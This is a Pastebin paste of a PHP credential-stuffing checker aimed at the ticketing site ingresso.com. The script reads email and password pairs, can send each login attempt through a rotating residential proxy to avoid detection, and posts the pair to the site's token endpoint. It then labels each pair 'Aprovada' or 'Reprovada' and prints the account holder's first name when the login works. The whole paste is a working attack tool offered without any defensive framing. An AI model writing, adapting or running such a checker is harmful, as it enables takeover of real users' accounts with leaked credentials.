Advertisement
Guest User

Untitled

a guest
Mar 17th, 2019
696
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. list($email, $senha) = explode("|", str_replace(array(",", "»", "|", ":"), "|", $_REQUEST['linha']));
  6.  
  7. function _curl($url, $post = false, $headers = false, $luminati = false) {
  8. $username = '';
  9. $password = '';
  10. $port = 22225;
  11. $session = mt_rand();
  12. $super_proxy = 'zproxy.lum-superproxy.io';
  13. $ch = curl_init();
  14. curl_setopt($ch, CURLOPT_URL, $url);
  15. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  16. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  17. if ($luminati) {
  18. curl_setopt($ch, CURLOPT_PROXY, "http://$super_proxy:$port");
  19. curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$username-session-$session:$password");
  20. }
  21. if ($post) {
  22. curl_setopt($ch, CURLOPT_POST, 1);
  23. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  24. }
  25. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt');
  26. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt');
  27. if ($headers) {
  28. curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  29. }
  30. $exec = curl_exec($ch);
  31. return $exec;
  32. }
  33.  
  34. $d1 = json_decode(_curl("https://api.ingresso.com/v1/token", 'username='.$email.'&password='.$senha.'&grant_type=password', array('Accept: application/json, text/plain, */*', 'Content-Type: application/x-www-form-urlencoded', 'Origin: https://minha-conta.ingresso.com', 'Referer: https://minha-conta.ingresso.com/?_ga=2.262738188.1859643881.1552868267-1036966741.1552868266', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36', true)));
  35.  
  36. if($d1->error_description == "Usuário ou senha inválidos.") {
  37. echo "Reprovada $email $senha";
  38. } else if ($d1->access_token) {
  39. $nome = $d1->user_first_name;
  40. echo "Aprovada $email $senha => Nome: $nome";
  41. } else {
  42. echo "Reprovada $email $senha Error";
  43. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement